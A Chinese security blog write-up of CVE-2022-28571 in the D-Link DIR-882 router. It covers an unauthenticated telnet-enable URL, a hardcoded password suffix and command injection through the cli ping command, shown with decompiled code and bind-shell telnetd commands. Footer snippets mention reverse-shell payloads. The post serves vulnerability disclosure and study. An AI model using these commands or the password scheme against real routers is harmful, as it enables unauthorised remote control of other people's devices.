如何在DIR 882中拿到一个方便调试的shell

VSole2022-05-07 06:51:45

0x10 前言

对前一段时间发现的几个命令注入漏洞做下记录:CVE-2022-28571 && CVE-2022-28572 CVE-2022-28571 这个漏洞的产生是因为Telnetd参数过滤不完整导致的,由于需要知道密码所以比较鸡肋,类似于授权后的命令注入,发现的过程很有意思,这篇文章主要介绍这个漏洞。CVE-2022-28572 这个漏洞是Tenda AX18 系列的一个命令注入漏洞,其实应该还有两个点可以触发这个漏洞,这里我交了一个比较好构造的一个。CVE-2022-28573 是一个没水平Dlink 823 pro的命令注入(太经典了)

0x20 漏洞分析 (28571)

起因是我想复现D-link DIR882 的那几个漏洞 比如:CVE-2021-45998, 但当我抓包以后发现DIR882 对包的检查很严格,每个请求的AUTH好像只能请求一次,试了一下发现漏洞确实存在,但当我想弹个shell回来的时候出了点问题,我用老一套命令

telnetd -l /bin/sh -p 2333

来反弹shell的时候,发现反弹不回来,然后我就想,是不是DIR882的Telnet实现有点不太一样,于是我找了一下DIR882的Telnet

发现Telnet存在lighttpd中,这就意味着他可以开启Telnetd(通过HTTP请求),我们在lighttpd 中找一下这个字符串

我们可以发现/start_telnet 这个路径,以及貌似是开启参数的telnetd -b 0.0.0.0

拿着我200块淘的真机一试,发现这个请求是不过认证的,一个GET请求就可以开启,尽管显示的是404,但Dlink882又可以地方会打印系统信息出来到一个文件里返回给用户(登录后,系统调试处),可以看到命令是执行了的,而且此时23端口也是打开了的。

这个时候漏洞复现的兴趣就没有了,开始漏洞挖掘,这里做一个假设,假设这个Telnet的密码是硬编码写入的,我们只要找到这个编码就可以拿到shell了(后面发现不是硬编码) 下面我们只要想办法找到密码就行了,通过对telnet尝试连接,我们发现

这里有一个dlinkrouter login , 根据找tenda Telnet的经验,我查了这个字符串的引用,发现没找到,没找到?说明这个dlinkrouter 字符串应该是系统生成的,而telnetd 是被链接在 busybox里的,我们逆向busybox

通过login字符串的交叉引用,我们发现

我们可以发现sub_465960获取了uname, 这说明系统的用户名是dlinkrouter 加上后面的引用,我们就可以找到telnetd的调用过程了

 login();                                    // readusername
    do
    {
      if ( *(_DWORD *)(_stdin + 72) )
      {
        v11 = *(unsigned __int8 **)(_stdin + 16);
        if ( (unsigned int)v11 < *(_DWORD *)(_stdin + 24) )
        {
          v12 = *v11;
          *(_DWORD *)(_stdin + 16) = v11 + 1;
          goto LABEL_27;
        }
        v13 = (int (*)(void))&_fgetc_unlocked;
      }
      else
      {
        v13 = (int (*)(void))&fgetc;
      }
      v12 = v13();
      if ( v12 == -1 )
        goto LABEL_67;
LABEL_27:
      if ( v12 == 10 )
      {
        if ( !--v10 )
          goto LABEL_67;
        goto LABEL_20;
      }
    }
    while ( isspace(v12) );
    username[0] = v12;
    if ( !fgets(&username[1], 30, stdin) || (v14 = &username[1], !strchr(&username[1], 10)) )
LABEL_67:
      exit(1);
    while ( isgraph((unsigned __int8)*v14) )
      ++v14;
    *v14 = 0;
LABEL_37:
    user_struct = getpwnam(username);           // 从密码文件中取得指定账号的数据
                                                // #include 
                                                // #include 
                                                // struct passwd
                                                // {
                                                //   char *pw_name;                /* 用户登录名 */
                                                //   char *pw_passwd;              /* 密码(加密后) */
                                                //   __uid_t pw_uid;               /* 用户ID */
                                                //   __gid_t pw_gid;               /* 组ID */
                                                //   char *pw_gecos;               /* 详细用户名 */
                                                //   char *pw_dir;                 /* 用户目录 */
                                                //   char *pw_shell;               /* Shell程序名 */
                                                // };
                                                // 
    pw_name = user_struct;
    if ( !user_struct )
    {
      strcpy(username, "UNKNOWN");
      goto LABEL_49;
    }
    v17 = **(unsigned __int8 **)(user_struct + 4);
    if ( v17 != 0x21 && v17 != 0x2A )
    {
      if ( (v5 & 1) != 0 )
        goto LABEL_53;
      if ( *(_DWORD *)(pw_name + 8) )
        goto LABEL_82;
      v26 = "/etc/securetty";
      v18 = (_DWORD *)sub_463D20("/etc/securetty", sub_4063C8);
      while ( sub_463DE4(v18, &v26, 459009, "# \t") && strcmp(v26, dword_485294) )
        v26 = 0;
      sub_463D74(v18);
      if ( v26 )
      {
LABEL_82:
        if ( **(_BYTE **)(pw_name + 4) )        // pw_passwd
        {
LABEL_49:
          if ( !sub_45D554(pw_name) )
            goto LABEL_50;
        }
LABEL_53:
        alarm(0);
        if ( v4 || access("/etc/nologin", 0) )
        {
          fchown(0, *(_DWORD *)(pw_name + 8), *(_DWORD *)(pw_name + 12));
          fchmod(0, 384);
          sub_45C9AC(pw_name);
          v22 = *(const char **)(pw_name + 24);
          if ( !v22 || !*v22 )
            v22 = "/bin/sh";
          sub_465A64(v22, (v5 & 4) == 0, 1, pw_name);
          v23 = open("/etc/motd", 0);
          if ( v23 >= 0 )
          {
            fflush(stdout);
            sub_407824(v23, 1);
            close(v23);
          }
          if ( !*(_DWORD *)(pw_name + 8) )
            syslog(6, "root login%s", v8);
          signal(14, 0);
          signal(2, 0);
          if ( v3 )
            v24 = *(const char **)(pw_name + 24);
          else
            v24 = "/usr/bin/cli";
          sub_465810(v24, 1, 0, 0);
        }
        v19 = (_DWORD *)sub_4063C8((int)"/etc/nologin");
        if ( !v19 )
        {
          puts("\rSystem closed for routine maintenance\r");
          goto LABEL_67;
        }
        while ( 2 )
        {
          if ( v19[18] )
          {
            v21 = (unsigned __int8 *)v19[4];
            if ( (unsigned int)v21 < v19[6] )
            {
              v20 = *v21;
              v19[4] = v21 + 1;
LABEL_57:
              if ( v20 == 10 )
                LOBYTE(v20) = 13;
              sub_407048(v20);
              continue;
            }
            v20 = ((int (__fastcall *)(_DWORD *))_fgetc_unlocked)(v19);
          }
          else
          {
            v20 = ((int (__fastcall *)(_DWORD *))fgetc)(v19);
          }
          break;
        }
        if ( v20 == -1 )
        {
          fflush(stdout);
          fclose(v19);
          goto LABEL_67;
        }
        goto LABEL_57;
      }
    }
BOOL __fastcall sub_45D554(int a1)
{
  const char *pw_passwd; // $s2
  BOOL v2; // $s0
  int v3; // $s1
  int v4; // $s3
  int v5; // $v0
  if ( a1 )
  {
    pw_passwd = *(const char **)(a1 + 4);
    v2 = 1;
    if ( !*pw_passwd )
      return v2;
  }
  else
  {
    pw_passwd = "aa";
  }
  v3 = sub_468334(0, (int)"Password: ");
  v2 = 0;
  if ( v3 )
  {
    v4 = sub_46521C();                          // v4 = enc(password,slat)
                                                // slat= "aa" || user->uid
    v2 = strcmp(v4, pw_passwd) == 0;
    free(v4);
    v5 = strlen(v3);
    memset(v3, 0, v5);
  }
  return v2;
}

通过对关键函数的分析,我们弄清了Dlink882 Telnet的登录流程为:

  1. 输入用户名
  2. 系统根据用户名去/etc/passwd 里面找密码
  3. 对比加盐后的密码值 那么我们就要去找到这个加盐后的密码值了,通过对主程序prog.cgi的逆向我们发现 /etc/passwd 里的密码是由登录密码拼上@twsz2018 组成的

使用登录密码拼上那串字符我们就可以登录进Dlink 882的Telnet,进去之后发现是一个cli. 分析busybox我们发现

          if ( !*(_DWORD *)(pw_name + 8) )
            syslog(6, "root login%s", v8);
          signal(14, 0);
          signal(2, 0);
          if ( v3 )
            v24 = *(const char **)(pw_name + 24);
          else
            v24 = "/usr/bin/cli";
          sub_465810(v24, 1, 0, 0);
        }

/usr/bin/cli ,上了个大当。我们继续分析cli

int __fastcall cmd_ping(int a1, const char *a2, _DWORD *a3, int a4)
{
  int v8; // $s0
  int v9; // $s1
  char v11[128]; // [sp+18h] [-80h] BYREF
  memset(v11, 0, sizeof(v11));
  v8 = snprintf(v11, 128, "%s ", a2);
  if ( a4 > 0 )
  {
    v9 = 0;
    do
    {
      ++v9;
      v8 += snprintf(&v11[v8], 128 - v8, "%s ", *a3++);
    }
    while ( v9 != a4 );
  }
  systemCmd(a1, (int)v11);
  return 0;
}
int __fastcall systemCmd(int a1, int a2)
{
  int v4; // $s2
  int v5; // $s0
  char v7[256]; // [sp+18h] [-100h] BYREF
  v4 = -1;
  memset(v7, 0, sizeof(v7));
  if ( a2 )
  {
    v5 = popen(a2, "r");
    if ( v5 )
    {
      while ( fgets(v7, 256, v5) )
        cli_bufprint(a1, "%s", v7);
      v4 = 0;
      cli_print(a1, "  ", v7);
      pclose(v5);
    }
  }
  return v4;
}

输入直接被丢给了popen,真是柳岸花明又一春,直接拼命令就可以注入了

后面发现如果要用telnetd反弹shell的话,在Dlink中命令要这样拼

telnetd -l /bin/sh -p 2333 -b 0.0.0.0

0x30 时间线

2022年3月8日,将漏洞上报给CVE 2022年4月1日,由于未添加版本信息被退回 2022年4月1日,重新上报给CVE 2022年5月2日,获得编号CVE-2022-28571

end

shellchar函数
本作品采用《CC 协议》,转载必须注明作者和本文链接
记一次网站渗透过程
2022-09-13 08:37:27
前几天记录某一次无意点开的一个小网站的渗透过程,幸运的是搭建平台是phpstudy,cms是beecms,beecms有通用漏洞,然后去网上找了资料,成功getshell并获取服务器权限。
一、序言 记录某一次无意点开的一个小网站的渗透过程,幸运的是搭建平台是phpstudy,cms是beecms,beecms有通用漏洞,然后去网上找了资料,成功getshell并获取服务器权限。 二、渗透过程 1. 无意点开一个网站,发现网站比较小,且看起来比较老,然后发现logo没有改,于是乎去百度搜索这个cms,发现有通用漏洞,这里贴一个链接:Beecms 通用漏洞(https://lin
钓鱼小技巧-XLM
2022-01-21 21:30:11
随后保存为启用宏的文档。而在实战环境中,我们更关注的是能否执行我们的shellcode。
这里根据红日安全PHP-Audit-Labs对一些函数缺陷的分析,从PHP内核层面来分析一些函数的可利用的地方,标题所说的函数缺陷并不一定是函数本身的缺陷,也可能是函数在使用过程中存在某些问题,造成了漏洞,以下是对部分函数的分析
在云SQL上获取shell
2022-07-18 17:00:27
云上的关系数据库服务,它是由 Google 保护、监控和更新的SQL、PostgreSQL 或 MySQL的服务器。托管 MySQL 实例的限制由于Cloud SQL是一项完全托管的服务,因此用户无权访问某些功能。在MySQL中,SUPER权限保留用于系统管理相关任务,FILE权限用于读取/写入运行 MySQL服务器上的文件。
00 前言在 HWS2021 入营选拔比赛的时候,遇到了一道 QEMU 逃逸的题目,那个时候就直接莽上去分析了一通,东拼西凑的把 EXP 写了出来。但是 QEMU 逃逸这部分的内容实在是比较复杂,而且涉及到了很多我完全没有了解过的知识,所以一直鸽到了现在。System mode:系统模式,在这种模式下,QEMU 可以模拟出一个完整的计算机系统。
漏洞的成因来自于Glibc在对重定向函数进行延迟绑定时,由于参数表被篡改导致的控制流篡改,本篇中,笔者会尽可能通过例题和实际现象来阐释 延迟绑定的底层实现 和 ret2dlresolve。
在一次渗透测试中,手工找了许久没发现什么东西,抱着尝试的心情打开了xray 果然xray还是挺给力的,一打开网页的时候xray直接就扫描出了thinkphp 5.0.10 rce漏洞 直接使用命令执行payload,结果报出system函数被禁用
在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。我们先来讲一下什么是正向连接和反向连接。centos执行python -c 'import socket,subprocess,os;s=socket.socket;s.connect;os.dup2; os.dup2; os.dup2;p=subprocess.call;'. 这个payload是反向连接并且只支持Linux,Windows可以参考离别歌师傅的python windows正向连接后门。这样会把目标机的/bin/bash反弹给攻击机但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式.PHP攻击机监听nc -lvvp 4444. 要求目标机器有php然后执行php -r '$sock=fsockopen;exec;'. 加载64位的shellcode需要用64位的msbuildC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
VSole
网络安全专家